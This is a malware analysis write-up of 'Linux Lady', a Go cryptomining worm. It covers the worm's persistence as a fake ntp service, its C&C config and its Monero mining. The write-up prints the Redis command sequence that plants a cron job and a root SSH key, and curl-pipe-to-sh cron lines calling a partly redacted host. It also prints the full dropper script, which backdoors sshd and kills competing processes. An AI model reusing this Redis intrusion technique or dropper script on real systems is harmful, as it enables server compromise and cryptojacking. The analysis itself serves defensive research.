Linux Lady Malware.
Linux Lady
Overview
Linux Lady is a malware written in Go for Linux platforms. Surprisingly enough, it’s objective is not to build a DDoS botnet. Instead, it is designed to be monetized by mining cryptocurrencies.
The analyzed sample was built for x86_64, statically linked, and stripped:
[0x00460580]> i
type EXEC (Executable file)
file 9ad4559180670c8d60d4036a865a30b41b5d81b51c4df281168cb6af69618405
fd 8
size 0x80da00
iorw false
blksz 0x0
mode -r--
block 0x100
format elf64
havecode true
pic false
canary false
nx true
crypto false
va true
bintype elf
class ELF64
lang c
arch x86
bits 64
machine AMD x86-64 architecture
os linux
minopsz 1
maxopsz 16
pcalign 0
subsys linux
endian little
stripped true
static true
linenum false
lsyms false
relocs false
rpath NONE
binsz 8592384
Analysis
Glancing to the main function of the malware, it is easy to observe that the binary offer different funcionalities depending on the flags provided:
-Pid
Expects an integer as a parameter, and checks if there’s any process with that number as Pid runinng on the machine.
-Version
Prints the version of the malware
-Install
Installs the malware to the target system. First, it checks if the current path to the executable is /usr/sbin/ntp. If that is not the case, the malware will copy itself to that path. Then, the persistence is obtained by creating an init.d or systemd service file. As an example, the latter would be /etc/systemd/system/ntp.service with the following contents:
[Unit]
Description=NTP daemon
ConditionFileIsExecutable=/usr/sbin/ntp
[Service]
StartLimitInterval=5
StartLimitBurst=10
ExecStart=/usr/sbin/ntp "-D"
Restart=always
RestartSec=120
[Install]
WantedBy=multi-user.target
When that is done, it just restarts the service by running systemd ntp.service restart
-D
It is the payloads function, in which several payloads are handled. A goroutine is created of each of the payloads, and the communication between the main process and them is done via channels.
[0x00401870]> pd 18 @ 0x00401904
| 0x00401904 488d05058865. lea rax, 0x00a5a110 ; 0xa5a110
| 0x0040190b 4889442408 mov qword [rsp + local_8h], rax
| 0x00401910 e85b560300 call runtime.newproc
| 0x00401915 488d1d246f3f. lea rbx, 0x007f8840 ; 0x7f8840 ; chan st.Minerd
| 0x0040191c 48891c24 mov qword [rsp], rbx
| 0x00401920 48c74424083c. mov qword [rsp + local_8h], 0x3c ; [0x3c:8]=0x60006000b ; '<'
| 0x00401929 e8d2520000 call runtime.makechan
| 0x0040192e 488b442410 mov rax, qword [rsp + local_10h] ; [0x10:8]=0x1003e0002
| 0x00401933 488984249800. mov qword [rsp + local_98h], rax
| 0x0040193b 4889442410 mov qword [rsp + local_10h], rax
| 0x00401940 c70424080000. mov dword [rsp], 8
| 0x00401947 488d05fa8765. lea rax, 0x00a5a148 ; 0xa5a148
| 0x0040194e 4889442408 mov qword [rsp + local_8h], rax
| 0x00401953 e818560300 call runtime.newproc
| 0x00401958 488d1da16f3f. lea rbx, 0x007f8900 ; 0x7f8900 ; chan st.Update
| 0x0040195f 48891c24 mov qword [rsp], rbx
| 0x00401963 48c74424083c. mov qword [rsp + local_8h], 0x3c ; [0x3c:8]=0x60006000b ; '<'
| 0x0040196c e88f520000 call runtime.makechan
| 0x00401971 488b442410 mov rax, qword [rsp + local_10h] ; [0x10:8]=0x1003e0002
| 0x00401976 488984249000. mov qword [rsp + local_90h], rax
While the goroutines are being executed concurrently, the payloads function obtain information about the system where it is running. For this purpose it is using a public Go package called gopsutil. The following struct shows the information being retrieved:
type InfoStat struct {
Hostname string `json:"hostname"`
Uptime uint64 `json:"uptime"`
BootTime uint64 `json:"bootTime"`
Procs uint64 `json:"procs"` // number of processes
OS string `json:"os"` // ex: freebsd, linux
Platform string `json:"platform"` // ex: ubuntu, linuxmint
PlatformFamily string `json:"platformFamily"` // ex: debian, rhel
PlatformVersion string `json:"platformVersion"` // version of the complete OS
KernelVersion string `json:"kernelVersion"` // version of the OS kernel (if available)
VirtualizationSystem string `json:"virtualizationSystem"`
VirtualizationRole string `json:"virtualizationRole"` // guest or host
HostID string `json:"hostid"` // ex: uuid
}
This information is then sent to the C&C server via GET request. This GET request is also used to download the configuration, which is in toml format:
http://r.cxxxxxxxg.com/s2.toml?Version=%d&NumCPU=%d&IntSize=%d&Hostname=%s&OS=%s&Platform=%s&Procs=%d&Uptime=%d
# IP = ""
DelaySecond = 300
[Update]
Version = 51
Url = "http://r.cxxxxxxxg.com/v51/lady"
[[Attacks]]
Method = "Redis"
Work = true
Max = 1
ShellUrl = "http://r.cxxxxxxxg.com/pm.sh?0703"
[Minerd]
Url = "http://r.cxxxxxxxg.com/minerd"
Cmds = [
"-B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:8080 -u 48vKMSzWMF8TCV...vQMinrKeQ1vuxD4RTmiYmCwY4inWmvCXWbcJHL3JDwp -p x",
"-B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:6666 -u 48vKMSzWMF8TC...vQMinrKeQ1vuxD4RTmiYmCwY4inWmvCXWbcJHL3JDwp -p x",
"-B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:8080 -u 47TS1NQvebb3...UA8EUaiuLiGa6wYtv5aoR8BmjYsDmTx9DQbfRX -p x",
"-B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:6666 -u 47TS1NQvebb3...UA8EUaiuLiGa6wYtv5aoR8BmjYsDmTx9DQbfRX -p x",
"-B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:8080 -u 448J3JccPv4D8X...HqNeLK8LguDFpJtcFJ6ZWr1NAbuEVmHEz5JftEox -p x",
"-B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:6666 -u 448J3JccPv4D8X...HqNeLK8LguDFpJtcFJ6ZWr1NAbuEVmHEz5JftEox -p x",
]
[[IPRules]]
Url = "http://ipinfo.io/ip"
Pattern = '\b(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\b'
UserAgent = "curl/7.38.0"
[[IPRules]]
Url = "https://ifconfig.co/"
Pattern = '\b(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\b'
UserAgent = "curl/7.38.0"
[[IPRules]]
Url = "http://ifconfig.me/"
Pattern = '\b(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\b'
UserAgent = "curl/7.38.0"
[[IPRules]]
Url = "https://api.ipify.org/"
Pattern = '\b(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\b'
UserAgent = "curl/7.38.0"
The configuration file contains information for all the payload goroutines, and each piece will be sent to the corresponding goroutine via their respective channels.
IPRule
This goroutine is in charge of obtaining the external IP address of the infected machine. It will chose one of the sites specified in the configuration file, do a GET request with a curl UserAgent, and retrieve the IP address.
Update
This goroutine is in charge of updating the malware binary. It would download it from the URL provided in the config file, write it to disk at /usr/sbin/ntp, and restart the ntp.service service.
Attack
The attack goroutine handles the propagation of the malware. To do so, it is using a known attack against redis servers exposed to the Internet, which we will explain in a few lines. The target selection is done randomly, by generating IPs based on the first quad of the infected machine’s external IP.
[0x00401870]> pd 38 @ 0x4627f5
| ; JMP XREF from 0x00462b47 (attack.Attack.func2)
| 0x004627f5 488b1d3cb27a. mov rbx, qword [0x00c0da38] ; [0xc0da38:8]=-1
| 0x004627fc 48891c24 mov qword [rsp], rbx
| 0x00462800 488bb4241801. mov rsi, qword [rsp + local_118h] ; [0x118:8]=0x1000
| 0x00462808 488d7c2408 lea rdi, [rsp + local_8h] ; 0x8
| 0x0046280d 488b0e mov rcx, qword [rsi]
| 0x00462810 48890f mov qword [rdi], rcx
| 0x00462813 488b4e08 mov rcx, qword [rsi + 8] ; [0x8:8]=0
| 0x00462817 48894f08 mov qword [rdi + 8], rcx
| 0x0046281b e8d0520400 call regexp.__Regexp_.FindString
| 0x00462820 488b5c2418 mov rbx, qword [rsp + local_18h] ; [0x18:8]=0x460580 _rt0_amd64_linux
| 0x00462825 48895c2460 mov qword [rsp + local_60h], rbx
| 0x0046282a 488b5c2420 mov rbx, qword [rsp + local_20h] ; [0x20:8]=64 ; "@" 0x00000020 ; "@"
| 0x0046282f 48895c2468 mov qword [rsp + local_68h], rbx
| 0x00462834 48c704240001. mov qword [rsp], 0x100 ; [0x100:8]=0xbe1000 section.LOAD2
| 0x0046283c e83f870200 call math_rand.Intn
| 0x00462841 488b5c2408 mov rbx, qword [rsp + local_8h] ; [0x8:8]=0
| 0x00462846 48895c2448 mov qword [rsp + local_48h], rbx
| 0x0046284b 48c704240001. mov qword [rsp], 0x100 ; [0x100:8]=0xbe1000 section.LOAD2
| 0x00462853 e828870200 call math_rand.Intn
| 0x00462858 488b5c2408 mov rbx, qword [rsp + local_8h] ; [0x8:8]=0
| 0x0046285d 48895c2440 mov qword [rsp + local_40h], rbx
| 0x00462862 48c70424fe00. mov qword [rsp], 0xfe ; [0xfe:8]=0xbe10000000
| 0x0046286a e811870200 call math_rand.Intn
| 0x0046286f 488b5c2408 mov rbx, qword [rsp + local_8h] ; [0x8:8]=0
| 0x00462874 48ffc3 inc rbx
| 0x00462877 48895c2438 mov qword [rsp + local_38h], rbx
| 0x0046287c 31db xor ebx, ebx
| 0x0046287e 48899c24c800. mov qword [rsp + local_c8h], rbx
| 0x00462886 48899c24d000. mov qword [rsp + local_d0h], rbx
| 0x0046288e 48899c24d800. mov qword [rsp + local_d8h], rbx
| 0x00462896 48899c24e000. mov qword [rsp + local_e0h], rbx
| 0x0046289e 48899c24e800. mov qword [rsp + local_e8h], rbx
| 0x004628a6 48899c24f000. mov qword [rsp + local_f0h], rbx
| 0x004628ae 48899c24f800. mov qword [rsp + local_f8h], rbx
| 0x004628b6 48899c240001. mov qword [rsp + local_100h], rbx
| 0x004628be 488d9c24c800. lea rbx, [rsp + local_c8h] ; 0xc8
| 0x004628c6 4883fb00 cmp rbx, 0
| 0x004628ca 0f84e0020000 je 0x462bb0
Then, the malware tries to connect to the generated IP at the common Redis port (6379) and issue the following commands:
1. config set stop-writes-on-bgsave-error no
2. config set rdbcompression no
3. config set dir /var/spool/cron
4. config set dbfilename root
5. set 1 "*/1 * * * * curl -L http://r.cxxxxxxxxg.com/pm.sh?0703 | sh"
6. save
7. config set dir /root/.ssh/
8. config set dbfilename authorized_keys
9. set 1 "ssh_pub_key_here"
10. save
11. del 1
12. config set dir /tmp
13. config set dbfilename dump.rdb
14. config set rdbcompression yest
The above commands will create 2 files on the target machine: /var/spool/cron/root and /root/.ssh/. The first one will contain the crontab syntax that will make the following command to be run every minute: curl -L http://r.cxxxxxxxxg.com/pm.sh?0703 | sh
This command, will download and execute the following script:
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
echo "*/10 * * * * curl -fsSL http://r.cxxxxxxxg.com/pm.sh?0706 | sh" > /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/10 * * * * curl -fsSL http://r.cxxxxxxxg.com/pm.sh?0706 | sh" > /var/spool/cron/crontabs/root
if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then
mkdir -p ~/.ssh
rm -f ~/.ssh/authorized_keys*
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/A...b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK75NEOiq
echo "PermitRootLogin yes" >> /etc/ssh/sshd_config
echo "RSAAuthentication yes" >> /etc/ssh/sshd_config
echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config
echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config
/etc/init.d/sshd restart
fi
if [ ! -f "/etc/init.d/ntp" ]; then
if [ ! -f "/etc/systemd/system/ntp.service" ]; then
mkdir -p /opt
curl -fsSL http://r.cxxxxxxg.com/v51/lady_`uname -m` -o /opt/KHK75NEOiq33 && chmod +x /opt/KHK75NEOiq33 && /opt/KHK75NEOiq33 -Install
fi
fi
/etc/init.d/ntp start
ps auxf|grep -v grep|grep "/usr/bin/cron"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/opt/cron"|awk '{print $2}'|xargs kill -9
This script, when executed, will overwrite the cron jobs at /var/spool/cron/root and /var/spool/cron/crontabs with the following line, which will download and run the same script as above:
*/10 * * * * curl -fsSL http://r.cxxxxxxxg.com/pm.sh?0706 | sh
Additionally, the script will remove the /root/.ssh/authorized_keys file in case it exists (created by the Redis attack), and will add a new public key in an alternate authorized_keys file. It will also check if there’s the malware’s service file at /etc/init.d/ntp or /etc/systemd/system/ntp.service. In case not, it will donwload the Lady Linux binary corresponding to the target platform and run it with the -Install flag.
In addition to this script that will be run, the Redis commands will create a /root/.ssh/authorized_keys file in the target machine, containing a public key file. Then, the malware has the private key hardcoded in order to connect afterwards to the attacked machine via SSH as root, and run the following command:
curl -fsSL http://r.cxxxxxxxg.com/pm.sh?0703?ssh | sh
This will again download the script above and run it.
It is worh noting that the malware is appending a ?ssh parameter to the query string, probably to allow the tracking of the machines compromised via SSH, so the attacker can connect to them later.
Minerd
This payload of the malware is in charge of monetizing the infections, by installing a cryptocurrency miner.
The goroutine will first check if the minerd process is running, and kill it. Then it checks if the file at /opt/minerd does not exists, download it from http://r.cxxxxxxxg.com/minerd and run it with one of the commands provided in the configuration file, for example:
/opt/minerd -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:8080 -u 48vKMSzWMF8TCV...vQMinrKeQ1vuxD4RTmiYmCwY4inWmvCXWbcJHL3JDwp -p x
As it can be appreciated, in the URL of crypto-pool, the cryptocurrency being mined is the Monero (XMR). By visiting the site and using the wallet ID, we can check the hash rate for it, and estimate the amount of money the bad guys are earning with the help of this calculator.


| Wallet ID | Hashrate | Monthly earnings |
|---|---|---|
| 1 | 96.58 KH/sec | $7,331.62 |
| 2 | 91.31 KH/sec | $6,932.56 |
| 3 | 26.86 KH/sec | $2,042.91 |
| Total | - | $16,307.09 |
Conclusions
Go is a language very useful for its easy syntax, and very comfortable as it has a great standard library and a big community that is being built around it, providing lots of third-party libraries. This help developers to write less code, and so to malware writers. Additionally, Go provides a great toolchain that allow the same code to be compiled for a variety of platforms and processor architectures, which we guess that is what makes Go attractive to the bad guys.
We dare to say that the time invested in writing this malware couldn’t have taken more than a boring Sunday, making the monetization of this one quite outstanding.
| TYPE | HASH | File | Password |
|---|---|---|---|
| MD5 | 86ac68e5b09d1c4b157193bb6cb34007 | Download | infected |
The Malware Hunter.